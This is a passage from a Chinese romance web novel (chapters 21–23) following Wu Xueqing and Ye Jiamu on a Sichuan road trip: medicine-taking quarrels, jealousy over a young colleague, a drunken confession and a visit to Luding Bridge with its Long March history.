吃完饭,叶嘉木拧开包装袋盖子,将中药递给她时,她都没太有防备,只是抱怨了一句:“好难闻啊。” “刚刚好,已经不烫了。”他说。 邬雪青像喝奶茶那样,毫无防备地嘬了一大口,稍一细品,察觉不对已经晚了,下一秒就苦得吐了出来。 可她万万没想到,叶嘉木会下意识伸手接住了她吐出的药液。 温热的液体顺着他的指缝滴滴答答往下淌,在地板上溅开几朵深色的小花。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 20-30 第21章 邬雪青错愕住了,好一会儿她才惊道:“你在干什么啊?” 手比脑子先动。 叶嘉木反应过来,很冷静地抽了两张纸擦手,“你去那边坐吧,我把这擦一下。” 邬雪青捏着药袋坐到了另一边,看着叶嘉木抽了好几张纸巾擦了手,又蹲在地上把弄脏的地板擦干净 。 他撑起身,将纸巾扔进垃圾篓,又走去卫生间洗手。 邬雪青含着吸口,下意识吮了一口,下一秒又被苦得眉头紧皱了起来。 她转过包装袋研究,除了黑褐色的液体,什么都没有看出来。 这真的能喝吗?不是毒药吗?……他刚刚为什么要接她吐出来的东西? 脑子里的想法混乱而跳跃地搅在一起,她下意识不想承认某种可能,习以为常地先往坏想。 他想立人设? 道德绑架?表演型人格? 圆圆的吸口被她咬成了扁扁的一条。 叶嘉木把一张搓湿的洗脸巾拿出来,再把地上擦了一遍。 他一转头,对上了邬雪青困惑的目光。 “中药就是这样的,不好喝也要喝了。”叶嘉木以为她又不想喝药了。 邬雪青吐出吸口,犹豫了一下,她说:“你不要以为这样我就会喜欢你……” “我可没这样想,倒是你会这样想挺奇怪的。”他一耸肩。 “你该回你自己的房间去了。”她下了逐客令。 叶嘉木不仅不走,还拉开餐桌边的椅子大马金刀坐了下来,“你什么时候把药喝完,我什么时候走。” “这药是人喝的吗?叶嘉木,你不会是故意在整我吧?”邬雪青被苦得难以置信,她把中药往前一推,“有本事你来喝!” 叶嘉木说:“我又不可能痛经。” 邬雪青:“……” “快点喝,不要像小朋友一样喝口药还要撒娇打滚耍赖皮。” 谁耍赖? 邬雪青冷笑一声,心说喝就喝,她吮了一口,反胃感刹那涌上来,险些又哕出来。 这根本不是人喝的! 邬雪青把药往桌上一放,坦然地决定放弃。 叶嘉木轻哂一声,一脸果然如此。 他就像守囚犯的牛头马面一样冷漠地盯着她,嘴角挂着似有若无地嘲讽。 他竟然在嘲讽她? 邬雪青拳头捏了起来。 叶嘉木嗤一声,摇了摇头。 胜负欲上来了,无论如何邬雪青也不可能在他面前落下风。她提起中药,挤着袋身咕噜噜几口喝了下去。 苦得像胆汁的药尽数流向她胃里,邬雪青干呕了好几下,差点又要把喝下去的药吐出来。 大功告成。 叶嘉木起身走过来,从她手上接过空了的袋子。 “张嘴。”他说。 邬雪青抬头,眼里还含着呛出来的泪水,怒瞪着他。 他捏开她腮颊,一粒圆圆的东西滚进了她嘴里,是甜的。 她下意识要往外抵,他的手指卡住了她的唇。 “盯着你吃个药像逼你服毒一样,真是大小姐脾气。”他低声说。 邬雪青操起桌上水瓶朝他砸过去,矿泉水瓶砸在他颧骨上,叶嘉木吃痛闷哼了一声。 “滚!” 她眼里噙着的眼泪随时要掉落,声线在抖。 “你真是狗咬吕洞宾……” “滚出去!” 叶嘉木胸口起伏了两下,捏紧了空药袋,什么都没再说,起身就往外走。 房间门合上了,“砰”了一声。 反胃、恶心。 胃里,还有心理上的恶心。 那种冷漠的,果然如此的眼神。 邬雪青肩膀在抖,她抄起杯子又朝房门砸过去,瓷杯砸在地上,弹起,又落地,砰一声摔得四分五裂。 第二天一早,邬雪青还没醒,房门就叮铃铃响了。 被子盖住头也遮不住那吵死人的声音。 她一身暴躁地拉开房门,叶嘉木单手插兜站在门口,递过来早餐和一包中药。 邬雪青立马就要摔门,他一只脚抵住了门,言简意赅:“拿进去吃。” “你有病啊?”她怒骂。 “现在有病的是你不是我,”他又把中药往里一塞,“怎么,昨天点头同意喝药的人不是你?还是你邬大小姐说话一向不作数?” 邬雪青拽过中药,拧开盖子,青着脸一口闷了下去。 药一喝完,她呛咳了两声。 叶嘉木刚抬起手想给她拍一下后背,邬雪青将他抵门的脚往外一踢,摔上了门。 叶嘉木往后一仰,好险没被拍扁鼻子。 昨天叶嘉木和员工开了个小会,决定了后面的行程速度和补给点。 今天下午从成都出发,前往泸定。 这次出发从一台车两个人,变成了两台车五个人。 两台车都停在酒店门口。 叶嘉木将行李箱放回后备箱,提前打开空调,站在车边等大小姐下来。 十分钟后,邬雪青不紧不慢地下来了。 她今天穿着修身的黑色针织衫上衣和牛仔短裙,长靴及膝,外衫拉链只拉到胸口上半寸,露出漂亮的脖颈线和闪闪发光的细项链,墨镜下的脸没有任何表情,冷得像冰。 邬雪青还没从酒店大厅走出来就看见了叶嘉木。一米九大高个倚在车门边,脸部轮廓锋利,薄唇抿着,袖口挽起,露出扎实的手臂青筋,随便一站都像男模拍平面照。 她在前台退房卡时,前台的两个小姑娘眼睛一个劲地往外看。 死孔雀,走到哪开屏到哪。 她冷冷一笑。 见她出来,叶嘉木站直了身。 在他车后的另一台越野车,车窗放下来了,副驾驶的小唐摆手和她打了下招呼,“邬小姐。” 邬雪青径直大步朝小唐走了过去,拉开了副驾驶的门。 小唐懵逼地抬头看她。 邬雪青道:“你去前面那台车。” “啊……我吗?” 小唐指了下自己。 叶嘉木眉眼压沉了下去,见邬雪青看也懒得看他,他道:“小唐,你到我这来。” 邬雪青上了车,砰一声甩上门。 这…… 明显是吵架了。 司机牙酸了下,明显感觉到气氛不太对,犹犹豫豫道:“邬小姐,那个安全带……” 邬雪青拉起安全带扣上,摘下墨镜,随便抓了两下长发。 淡淡的秀发幽香散发开了,很难不让人注意。 车上的两个男人都噤了声,视线却忍不住往她的方向游离。 太漂亮了。 微卷的长发垂落在肩上,下颌线精致瘦削,鼻梁挺翘,侧脸已经好看得如同游戏建模,气质也不凡,脖颈纤长,身姿挺拔,走路时自信大步的气场,让人相形见绌。 她不是那种小家碧玉的清秀和清水芙蓉的素丽,她美得张扬,像热烈的牡丹,精致、毫不遮掩,美得极其有攻击性。 “车窗放一下。”她说。 甚至没敢问为什么,车里两个男人默契地放下了前后车窗玻璃。 邬雪青抱着胳膊闭着眼睛,脸上没有一点笑意。 三个男人开了一路的车,又是大夏天,车里自然是各种汗渍、烟味混杂。 邬雪青屏住呼吸都难以隔绝这气息,气压越发低沉。 一片阴影遮了过来,邬雪青转头看过去,就见叶嘉木拉开了副驾驶的门。 他把一块折起来的毯子扔在了她腿上。 邬雪青立刻抓起,扔出去。 叶嘉木正好一把接住。 不跟她争,他关上副驾驶的门,把毯子从后面车窗递进去,放在了后座上。 车里另外两个人大气都不敢喘了。 终于,前车动了,后车也起步跟了上去。 上了高速后风噪太大,车窗都关了起来。 密不透风的空间内,似有若无的烟臭味萦绕在邬雪青鼻尖,她一个不晕车的都感觉要吐了。 心里不禁生出了一点后悔。 她干嘛一定要上这个车,就留在成都,或者就直接回去了,不好吗? 可她又不愿意,这个时候如果说不去了,好像就输给叶嘉木了,证实了叶嘉木的轻嘲。 高速服务区临时休息,几个男人下车放水。 等所有人都走了后,邬雪青才跳下车,趴在绿化带旁呕了好几下,吐出了一股黄水。 叶嘉木洗了个手出来,就看见她蹲在地上难受地捂着肚子。 眼尾余光看见一双鞋子走近,邬雪青扶着车门 站了起来。 “肚子疼了?”他缓声问。 邬雪青冷淡看了他一眼,“跟你没关系。” “艾灸贴贴了吗?” “离我远点!” 反胃,说出来的话也差了点气势。 她站直身,挺了挺肩,抬着下颌看他,犀利富有攻击性的话脱口而出,“叶嘉木,少在我面前装,你和其他人没有什么区别,无非是一边讨厌我,一边又要装出喜欢的模样,让人觉得恶心。” 叶嘉木哽了个倒仰,终于也忍不住冷笑了,“你高兴那你就继续这么想吧。” 她上了车,一把摔上门。 一股烟臭味顺着门风直直飘来,把叶嘉木鼻子都冲了一下,他扇了扇风。 透过暗色的玻璃车窗,他看见邬雪青侧头指节抵着额角,眉心紧拧。 邬雪青忍着恶心等着司机来开车,没想到几分钟后,看到原本开她这辆车的司机上了前车,而拉开了这边驾驶室门的竟然是叶嘉木。 她转头厌恶地盯着他。 叶嘉木简单道:“小方开累了,去前面换小唐开了。” “停车!”邬雪青说。 叶嘉木转头盯着她。 邬雪青推开副驾驶,大步朝着前车走过去。 前车副驾驶位置已经空出来了,坐在驾驶位置的小唐和后座的小方同时局促地和她打招呼,“邬小姐。” 邬雪青点了下头,上了这边副驾驶。 淡淡薄荷清香传来,她压在心口的那股反胃霎时好了许多,紧拧的眉头也松开了。 两辆车发动了。 邬雪青熟稔地从手箱里拿出一条口香糖,递给他们,问:“你们吃口香糖吗?” “谢谢邬小姐。” 两个人受宠若惊,诚惶诚恐地接了一片。 邬雪青拆了一片口香糖含进嘴里,想象是叶嘉木的肉,咬紧了后槽牙,用力咀嚼。 “叶总的车好香啊。” 小方试图打开话题,努力找起了共同话题。 小唐也附和道:“是啊,我都没想到叶总的车还会放这么香的香囊。” “闷骚的人是这样的。”邬雪青说。 两个男人笑了起来。 “还没问,你们都叫什么啊?”邬雪青问。 小唐道:“我叫唐昆,昆是昆明的哪个昆。” 小方说:“我叫方向阳,太阳的阳。” “那我也自我介绍一下,”邬雪青笑道,“我叫邬雪青,接下来半个月大家也算是队友了,哎,你们都多大啊?” “我二十三。”方向阳说。 唐昆说:“我比他大点,快二十四了。” “真的假的,我竟然比你们都大一点,我二十五了,你们不用那么客气,以后都叫我Shirley就好。” 感觉她性格其实挺好的,小方年纪轻,也没那么拘束了,往前凑了凑,问:“Shirley是英文名吗?怎么拼啊?” “S-H-I-R-L-E-Y。我家里人都这么叫我,大家以后就是朋友了,你们也可以这么叫我。” 车里对讲机滋啦啦了两声,传出叶嘉木的声音,他说:“马上到雅安了,你们可以提前商量一下吃什么了。” 小唐按住对讲机按钮,回答:“好的叶总,我们这边商量好了回您。” 电流音咂咂地传出,声音有些失真。 除了有唐昆的说话声,背景里还有两个兴致勃勃聊天的声音。 “Shirley,听起来像阳光那个Sunny。”方向阳说。 她语气柔和、不乏轻松愉悦,“‘向阳’才更贴切吧,叫你的名字感觉天气都会变好。” 叶嘉木神色冷得像十二月的卡瓦博格雪山。 第22章 车上的对讲机没有再响起。 邬雪青随意和人聊着,神色却有些心不在焉。 车开到雅安,几人商议了一下,选了一家当地的贡椒鱼餐厅。 餐厅空调开得很低。邬雪青先在空调吹不到的位置落座,另外三个人纷纷在她对面坐下。 叶嘉木最后一个进来,冷着脸将一条薄薄的披肩盖在了她肩上。 邬雪青翻看着菜单,眼皮也不抬一下。 简单报了几个菜后,她把菜单转给对面三个人,让他们看看还想吃什么。 她的手机屏幕是家里的伯恩山,方向阳起身接菜单时瞥见了,好奇问:“Shirley,你也养了宠物吗?” “对,两只猫,一条狗。” 方向阳很高兴地说:“我也养了一只萨摩耶,我给你看它照片!” 是只看起来还不大的小萨摩,邬雪青微笑夸了句“可爱”,又随口问:“它多大了?” “六个月了,特别调皮,特别能拆家!” 他像个兴致勃勃要给人安利自己孩子的奶爸,嘴上抱怨着,满眼都是高兴。 “可以送去上学了,培养一下行为习惯。” “上学?”方向阳有点懵。 邬雪青说:“对,上狗学校。” “那应该很贵吧……”他讪讪。 邬雪青从来不管这些琐事,随意道:“应该也不是很贵。” 她端起茶杯喝茶,余光下意识扫了眼叶嘉木,茶水正要入口,手腕被不轻不重捏住。 他说:“新茶烫,放会儿再喝。” 当着一众人的面,她没有怼回去,只挣了下手腕,落下茶杯。 鱼上了桌,服务生点燃火,不一会儿,鱼汤咕噜噜翻起了泡。 邬雪青先勺了一小碗鱼汤慢慢喝。 偏麻香的口感,辣味不重,有淡淡的花椒味道。 不是邬雪青喜欢的味道,但她也还是慢慢品了两口。 叶嘉木夹了一块鱼肉,挑去刺,习惯性地先放进她碗里。 邬雪青冷着脸当没看见,完全把他一举一动当空气。 他嘴角微微噙着笑,深不见底的眼里却没什么笑意,冷得像冰潭。 出发的时候几人就觉得他俩今天不太对,完全不说话的两个人,中间的冷空气完全可以冻死路过的蚂蚁。 三个人都不是能说会道的类型,唯一外向一些的方向阳对他俩明晃晃的冷战行为看得发懵。 吃过饭,他们又开车去了雅安的自驾营地看看。 到了营地内,她却没什么兴趣,宁可待在车里看电影。 自驾露营基地停着不少小车,旁边还有一栋偌大的博物体验馆。 标志性建筑是半个大轮胎。几个男生都不白来,争相在标志物下拍照打卡。 很无聊。 车窗被叩了一下,她扭头看过去,叶嘉木站在窗外。 她放下车窗,语气平平地问:“干嘛?” “车上多闷,不下来走走?”他手搭在窗沿上,低头看她。 语气和缓,疑似递台阶。 “不。”她根本不往下走,冷冰冰的又把车窗关了上去。 殿下的心情就像四月的天气,谁也不知道雨季要持续多久,什么时候就突然变了天。 叶嘉木抬起手指停在玻璃窗外,顿了顿,又落了下去。 算了,她若是不想下车,说什么她都不会动的。 过了会儿,方向阳跑了过来,快乐小狗似的趴在窗外说:“Shirley,前面有人带着狗出来自驾游,你要不要跟我一起去找小狗玩?” ……有病吧。 邬雪青没有找陌生人的狗玩的爱好,但要拒绝的话在嘴里打了个转,又被她咽了回去,她直起身爽快道:“好啊。” 叶嘉木去了露营地那边转,跟人随意聊聊,有两个热衷于露营的户外爱好者认出了叶嘉木,正新鲜地拉着他拍照、聊天。 叶嘉木简单和人聊了几句,余光里瞥见邬雪青下了车。 她和方向阳走在一块,两人远远地朝带狗的车主走过去,打了招呼,然后蹲下身揉了揉小狗脑袋。 不知道方向阳说了什么,邬雪 青笑了起来,抬起头和他说话。 余晖镀在她眼睫上,难得的,整个人都温暖和煦得不可思议,像块奶黄的蛋糕坯。 叶嘉木深谙邬雪青的秉性。 她不感兴趣的东西、不想做的事,不管别人怎么说她都能无动于衷。 可方向阳竟说动了她。 刚毕业的年轻大学生,满身朝气,也不太读得懂空气,总是给点阳光就能灿烂。 看得刺眼。 他微微眯起了眼睛。 “叶总,我们拍个合照吧。”搭讪的自驾爱好者又说。 叶嘉木背着手,微微弯下腰,露出一个礼貌的笑容,配合地拍了一张照片。 太阳很大,晒得邬雪青有些心不在焉。 她能看见叶嘉木正在和一对情侣聊天。女孩子星星眼地拉着他拍照,他没拒绝,还弯下腰配合对方身高合了张影。 死孔雀,走到哪开屏到哪。 她摸了摸小狗脑袋,傻乎乎的金毛一点也不认生,尾巴都快摇成螺旋桨了,不停地用脑袋蹭她。 方向阳正和狗主人讨论关于自驾给小狗排便和洗澡方面的问题,聊得热火朝天。 邬雪青摸了几下狗,有点想她家Cooper了,惆怅起来。 忽然,一只手拽住了她的胳膊。 “你忘了你过敏了?”他沉沉说。 他刚说完,邬雪青就扭头打了个喷嚏。 “啊,Shirley你过敏啊!”方向阳很意外。 邬雪青推开了叶嘉木抓着她的手指,瓮声道:“鼻炎而已,已经好了。” “是做了手术吗?”方向阳关切地问。 “你很关心她?” 叶嘉木目光沉沉地转向方向阳。 方向阳后知后觉地读懂了空气,喏喏的,立马闭口不言了。 “他问我,跟你有关系吗?” 邬雪青不耐烦地呛声。 不顾她厌恶闪躲,叶嘉木紧扣着她的胳膊将她拉回车边,拿出一瓶矿泉水拧开,冷冰冰道:“洗手。” 邬雪青冷嘲热讽说着“我发现你这人真爱管闲事”,也还是就着矿泉水冲了冲手心。 在雅安待了两个多小时,还要赶往泸定。 为了安全,走的是高速,穿山而过,隧道很多,光线忽明忽灭。 邬雪青闭眼休息了一会儿,睡不实。 不知道是路的问题,还是司机的问题。 坐叶嘉木的车很稳,她能一觉睡到目的地,但坐别人开的车她总感觉车身左晃右摇的,才眯一会儿就又被晃醒了。 抵达泸定已经天黑。 邬雪青不太舒服,胸口闷闷的,迫切想透会儿气。 正好酒店旁边有大排档,方向阳提出正好吃点烧烤做宵夜,其他俩人没意见,邬雪青也说可以。 她和叶总是一道的,她一说行就代表叶总肯定也没意见了,方向阳和唐昆停了车,抬起胳膊打了个招呼,高高兴兴地先去撸串了。 叶嘉木后下车,坐他车的梁襄是个完全不说话的闷葫芦,存在感和空气中二氧化碳一样稀薄。 他朝三个人背影看去。 没等他,邬雪青已经先往大排档去了。 对路边摊,她一向是敬谢不敏的,从前挑剔且高傲地认为这种烧烤店乌烟瘴气,摆在路边上,说不准有多脏。 一夕之间她就变了? 没有去大排档二楼,他们就坐在外面的大棚下。 那两个人去点单了,叶嘉木拉开她旁边的椅子坐下,很平淡地问:“你很喜欢他?” 邬雪青正翻着Cooper以前的照片睹物思狗,闻言微笑,“它比你黏人,比你可爱,反正比看你顺眼。”见不惯他阴阳怪气的模样,她又接着冷冷道,“你要是不想吃,可以先回酒店的。” 比他黏人? 她喜欢黏人的?可他们才认识多久? 肝火旺盛,叶嘉木简直想把她这喜新厌旧、没良心的拆进腹里吃了。 “小梁,去拿两打啤酒来。”叶嘉木和梁襄说。 梁襄应了声,立马往店里走去。 邬雪青搬着椅子往旁边挪,离他远远的。 唐昆走回来时就看见桌上摆了好几扎啤酒,他有点犹豫地说:“叶总,我明天开车,今晚就不喝了吧。” 叶嘉木点了下头,道:“明天你和小梁开。小方,跟我喝两杯。” 方向阳隐隐约约感觉到了一**味,但也不敢拒绝,讪讪道:“好啊,叶总。” 烧烤上了桌,邬雪青没吃。 她是来透风的,已经吃了一肚子孜然味空气了,晚上再吃这些重油重辣的烧烤了,必然胃痛。 叶嘉木也没怎么吃烧烤,只是一杯一杯地和方向阳喝酒,喝到第三瓶,方向阳已经有点大舌头了,结结巴巴了起来。 过了小酌怡情的界了,再喝就成上司职场霸凌了。 叶嘉木还要开啤酒,邬雪青伸手按住了他的手,斜眼瞪他道:“你欺负一个小孩干吗?” 灯火通明,足以让她看清他那双神色复杂的眼睛。 ——你竟然为他说话。 “你喝多了,叶嘉木。”她语气生硬地拿开啤酒,转头又和方向阳说,“差不多了就早点回酒店休息吧。” 串也吃得七七八八了,唐昆和梁襄两个没喝酒的把暗流涌动看得明明白白,扶起方向阳道:“那我们先送小方回酒店了。” “去吧,我结账。” 叶嘉木似乎神智还清醒,语气淡淡地说。 方向阳酒量不好,醉得有点站不稳了,起身东倒西歪的。 唐昆和梁襄一个扶一个拉把他拽起来。 叶嘉木支着桌子起身,顿了顿,才站稳去前台买单。 他从店里出来,发现邬雪青还没走,憋了一肚子的委屈忽然散了点儿。 一点淡淡酒气飘来。 见他走回来,邬雪青也站起了身。 从大排档回酒店还要过一条马路。 红灯,叶嘉木提步要往前走时,邬雪青一把拽住了他胳膊。 “红灯,等会儿。”她说。 叶嘉木便收回了脚步,跟她隔着不远不近的距离并肩站着。 “气势汹汹的,我以为你千杯不醉呢,这就喝多了?”她语气微哂。 叶嘉木身体晃了晃,没有说话。 绿灯亮了,他还杵着。 邬雪青戳了戳他胳膊,“走了。” 他走得慢,像数蚂蚁,看着能把人急死。 邬雪青干脆抓住他胳膊,拽着他过了马路。 出奇的乖顺。 她走他就走,她停他就停。 过了马路,她就要松开拉着他的手,叶嘉木却反手扣住了她手腕。 “干……” 她质问的话没说完,他张开手臂将她揽进了怀里,宽大的臂膀结结实实地将她束在怀里。 车上烟草的气息、啤酒的发酵味,密不透风地侵入她呼吸。 邬雪青下意识要挣扎,他将下巴枕在了她肩上,声音很轻,也很委屈。 “邬雪青,你不能这样对我,我不过肉体凡胎,不是神,也会伤心的。”他说。 第23章 带着些微凉意的晚风拂过她的鬓发,微微的痒。 她的肩膀撞进他的胸口,结实、强壮、温暖,像撞在肉墙上。 邬雪青抬着手肘,忘了反应,急慌慌道:“叶……叶嘉木!你喝多了吧。” “嗯。” 他的声音低沉绵缓,竟然直接承认了,搭在她后背上的手掌上移,抚过她的手臂,扣住了她的手指,他说:“我喝多了,你要送我回去。”- “明明不能喝酒,还喝这么多酒,喝这么多酒还给别人添麻烦……” 她嘟嘟囔囔地搀扶着叶嘉木回酒店房间。 抽出手来分辨了一下两张房卡,她将他房间那张贴在锁上,滴啦啦一阵响,门锁开了。 “叶嘉木,你知不知道你很重,能不能不要压在我肩膀上!你压到我头发了!” 她推开他的胳膊,脚尖勾了一下门,将门带上,又撑着墙把房卡插进读卡器。 房间里的灯亮了起来。邬雪青支着叶嘉木的胳膊,艰难地把他带到床边,然后把他往床上一扔,大功告成。 她叉着腰气 喘吁吁,“你真该减肥了!” 他躺倒在床上,半睁着眼睛看着她,将醒未醒的模样,说:“重是有肌肉,笨蛋。” 邬雪青踹了他鞋一下,“我管你的!我走了,你好自为之吧!” 他撑着床掐着额头坐了起来,嗓子沙哑,“你晚上还没吃药。” “不用你管!” 他撑起身,“我去给你热药。” 见他脚步踉跄,邬雪青犹豫了下,语气有些生硬问:“药在哪?” “旅行袋。”他说。 邬雪青看了一圈,看到了放在柜子上的大袋子。 一拽,沉甸甸的。 她拉开拉链,发现里面有一个显眼的泡沫盒子,打开盒子,丝丝凉气扑面而来。 竟然是个简易的冷藏保鲜盒,两周的中药齐齐整整地码好,又放了几个干冰袋降温,所以沉甸甸的。 中药带上路要怎么保存? 邬雪青从来没有操心过这些琐事,光是喝药都已经要了她的命了,这些细节他却都想到了,结果盯着她喝药还挨她骂。难得的,邬雪青感觉良心有那么一些些的不安。 叶嘉木有些步态不稳地走过来,拿过袋子道:“我来。” 邬雪青看着他打开压缩的热水壶,倒进一瓶矿泉水加热,又将中药放进去。 没有人说话,一时异常的安静。 他倚着柜子,转过身看她,眼睫微微下垂,问:“肚子还疼吗?” 随着呼吸,他身上淡淡的酒气萦绕过来。邬雪青别开了头,说:“还行吧。” 他轻轻笑了一下,发出短促的笑音。 “笑什么?”邬雪青斜吔他。 他没答,过了几分钟,伸手摸了摸泡进壶里的中药袋子,温温热了,正好适合入口。他关了水壶,将温好的一袋中药拎出来,擦了擦水渍,递给她:“好了,喝吧。” 她接过袋子晃晃:“这怎么喝?” “用嘴。” “……你是不是欠揍?都没有打开,怎么喝?” “用嘴咬开,总不能我帮你咬开吧?”他说。 “你好恶心。”她正纠结着要不要咬,突然意识到一个问题,震惊地看着他,“那我之前的药你都是怎么打开的!” “用剪刀啊,笨蛋。” “那剪刀呢!!” “在车上,你要跑下去拿吗?” 算了…… 见她一脸嫌弃,叶嘉木抬手拍了拍她脑袋,“快喝。” 邬雪青磨磨蹭蹭用牙齿在药袋角落咬了一个小口,刚抿了一小口就苦得整张脸都皱了起来。 他眼皮半耷拉着,看起来已经很困了,又低低笑了一声。 邬雪青眼睛眯了起来,“你在嘲笑我?” “不是。”他声音也不似往常,拖着尾音,低低沉沉的声音很温柔缱绻,“只是觉得殿下很可爱。” 邬雪青“呵呵”冷笑两声,不欲和他这个喝多的醉鬼吵架。 中药难喝得要命,邬雪青抿了没两口就喝不下去了,她说:“你休息吧,我拿回房间喝去。” 叶嘉木哪猜不到她在打什么小九九,手臂一撑,将她困在房间里,“别想扔,喝完再走。” 邬雪青眼睛一瞪就要发火了,他先打了个哈欠,额头抵住邬雪青头顶的柜门,唇几乎要贴她额头上,邬雪青耳朵大热,迅速往后仰拉开距离。 “开车开困了,你还不喝完我就要倒在你身上了。”他说。 邬雪青一哽,“叶嘉木,你是无赖吗?” 他不答,只是垂眼看着她。 褐色眼睛里有温温闪闪的光芒。 看在他辛辛苦苦给她带药的份上…… 邬雪青转过头,捏着鼻子把苦得让人犯恶心的中药灌了下去。 “呕——” 她反胃哕了一下,感觉嗓子眼里翻江倒海。 叶嘉木抬起手,指腹轻轻地落在了她脸颊上。 她迅速抬头,唇抖了一下。 他的手指蹭了蹭她的下唇,擦去一滴药液,“乖宝宝,回去休息吧。” “……叶嘉木,你想死是不是?” 晚上躺在床上,邬雪青还是有些翻来覆去地睡不着。 总想着他没来由抱她的那一下,还有他用手指蹭她唇…… 她讨厌肢体接触,和陌生人握一下手都想把手擦两遍,可她居然对叶嘉木越界的行为没有什么强烈的抵触。 大概是……太熟了吧。 而且他喝多了,看在他也照顾过她的份上,她礼尚往来而已,没什么不对的! 可没来由的。 她又想起了他深邃的眼睛, 欲言又止。 酒店靠河,寂静时能听见窗外水声哗哗作响。 昨天在车上听他们说在泸定县休息一晚主要是为了帮助适应高原环境,减少高反的可能。 泸定县海拔不算高,也不算大的一个县城,开车一路过来看到的都是入秋连绵泛黄的山。 或许是初初从省会城市进入县城,也可能是想到要上高原了,陌生的环境让邬雪青有些失眠,八点上床,翻来覆去直到十一点才睡着。 第二天早上七点,没有任何铃声作用下,邬雪青就自然醒了。 这作息健康得让她都不适应了。 在床上赖了会儿,她艰难爬起来洗漱。 拉开窗帘,能看见灰黄湍急的河流奔涌向前,再远远看,能看见一架铁索桥上络绎不绝的游客。 她含着牙刷在玻璃窗前发了会儿呆,直到听到手机叮铃了一声。 叶嘉木给她发了条消息:醒了吗?来吃早餐了。 她回了个OK的手势。 叶狗:今天醒这么早? 手机信号灯闪烁了几下,是她回了消息。 他点开语音听,她那边还有牙刷的振动声,含着一点泡泡的黏糊,她说:“外面河水声好吵啊。” 困困的,黏黏糊糊的声音。 叶嘉木没忍住,反复听了好几遍,嘴角都快翘到颧骨上了。 他按住语音,清清嗓子,放低声音又回复了一条:“上游雨季刚过,所以水流还湍急,你昨晚没睡好?” 等了十几分钟邬雪青也没回他。 叶嘉木坐不住,又去敲了她房门。 她刚洗漱完,长发披散,白皙的脸颊上没有一丝妆容,少了些冷冷的艳丽,多了几分晨困的柔软。 “干嘛啊?”她说。 叶嘉木按开门问:“早上想吃什么?” “随便吃两口吧,不饿。” “那早餐就在酒店里吃。今天上高原,要翻折多山进理塘了,吃完中饭就出发。现在时间还早,吃完早餐我们去河边散散步?” “他们三个起了吗?” “没有,饿了他们会起,让他们睡吧。” 酒店是含早餐的,早点还挺丰盛,有面点、粥和小炒菜。 邬雪青人醒了,胃还没醒,不怎么想吃东西,夹了一个玉米和小花卷,盛了一小碗小米粥意思一下。 叶嘉木瞥一眼,叹气:“殿下,你的食量跟你家猫旗鼓相当。” 邬雪青睨一眼他盘子,“呵呵”一声,走得离他远远的,“你跟Cooper也挺旗鼓相当的。” Cooper现在已经110斤了,家里阿姨说要给Cooper减重,每天拉着出去溜三回,结果动得多吃得更多,不给吃饱就爬厨房门口哼哼唧唧一整天,不控制,他一天能吃好几公斤肉。 “不吃饱可没力气干活,我还得当牛做马呢。”他跟着她走到窗边的沙发处坐下,又直接问,“今天坐我的车吗?” 邬雪青倚着沙发,拿起一小截玉米咬了咬,含糊道:“看你表现。” 叶嘉木叹气:“这年头当司机也不容易,还得竞争上岗。” “你不是说今天让梁襄和唐昆开吗?”邬雪青突然想到。 “昨晚仔细考虑了一下,去理塘这段路难开,我来过几次,开头车比较稳妥。”他将服务生递来的红茶先递放到她面前。 邬雪青看了一眼茶,明晃晃的廉价茶包就插在茶水里,一言难尽。 她看向服务生,道:“给我一杯温水就好。” “雪青,今天到理塘住宿的酒店比较普通,之后进藏后可能就要住普通民宿或者宾馆了。” 邬雪青对他口中的“普通”没什么 概念,非常轻描淡写地说:“我没那么娇气。” 殿下说这话有几成的可信度? 叶嘉木被茶呛到,侧头笑咳了好一会儿。 邬雪青白他一眼。 虽然一路上的确有很多的不便利,但她觉得目前为止都还能接受,新奇感大于负面体验,比坐在教室里数着秒枯等着一节课过去有意思多了。 吃过早餐,她和叶嘉木出了酒店,顺着河边围栏随意散散步。 早上风大,她披了块披肩挡风。 或许是海拔高了一些,泸定县的温度比成都低不少,乍一从高温地区过来,习习的河风吹得很舒服。 叶嘉木跟她说着后面的行程规划,邬雪青漫不经心地听着。 昨天吵架冷战的事两人都心照不宣没再提。 认识这么多年,他们之间发生的“无名战争”已经不胜枚举,然而两家父母间交情不会因为他俩吵吵闹闹伤了和气,仍旧抬头不见低头见,他俩互掐完又得捏着鼻子一块去上学,就像现在这样。 “前面就到泸定桥了,你敢去看看吗?”叶嘉木往前抬抬下颌。 邬雪青轻哼一声,“这有什么不敢的?” 远远看的时候不觉得可怕,走到景点门口买票时,邬雪青从侧边往桥上瞄了一眼,有点想掉头回酒店了。 “前面这条河叫大渡河,水流湍急,暗流众多,以前大渡河桥没有开通时,两岸居民就靠船和这条泸定桥过河。”叶嘉木说。 “我记得历史上有个飞夺卢什么桥,是这个桥吗?” 邬雪青初高中上的都是国际中学,学的都是世界史、欧洲史、美国史,即便上过中国研究的课程,内容也偏儒释道思想文化研究,对近现代历史的了解非常碎片,可以说仅限于知道几个历史名词。 “卢沟桥在北京,那是37年的七七事变。泸定桥在我们眼前,是35年红军长征时渡过的桥。” 买了票,走至桥亭,只见两侧几条铁锁牢牢扎在地面,桥面虽铺了木板,但并不严密,窄窄的木板横竖勾连,游客们挤在中间的三块木板上缓慢往对岸走。 风一吹,桥面摇摇晃晃,有人拽着一侧铁链,螃蟹似的横着挪动。 邬雪青往桥下汹涌的河水看了一眼,脚步迟迟没有往前挪。 叶嘉木指着对岸说:“35年5月,中央红军就是从对岸飞夺泸定桥抵达泸定县。” 邬雪青举手,“我有个疑问,为什么叫飞夺泸定桥?” “当时川军把守泸定桥两岸,中央红军有数万人,只靠船远远不够渡河,必须拿下泸定桥。川军提前猜到红军要走这条桥,就把木板都拆了,整座桥上只有光秃秃的13根锁链。” 他说着迈上了桥,桥身抖动,他向邬雪青伸出手。 邬雪青咬咬牙,无视他伸出的手,若无其事地也走上了桥。 可刚踩上木板,感觉到脚下的木板在晃悠,她又想回头了。 见她不要帮忙,叶嘉木笑了下,收回手,继续往前走,又接着讲述历史故事:“为了拿下泸定桥,红军就派两个营在对岸架机枪火力掩护,派22个突击队员穿越铁锁链冲向泸定桥北岸,也就是泸定县这边。” “铁锁链?” 邬雪青低头看看脚下木板间隙露出的几根铁链,感觉不可思议。 大渡河水汹涌澎湃,一旦掉下河,只怕立刻就会被水卷走。 “嗯,22个突击队员打头阵,先抵达对岸,中间队员铺木板,后方队员再跟上。眼看红军就要过桥了,对岸的川军点起了火想阻挡,红军穿过火海,与敌人在泸定县正面交战,拿下了泸定桥。” 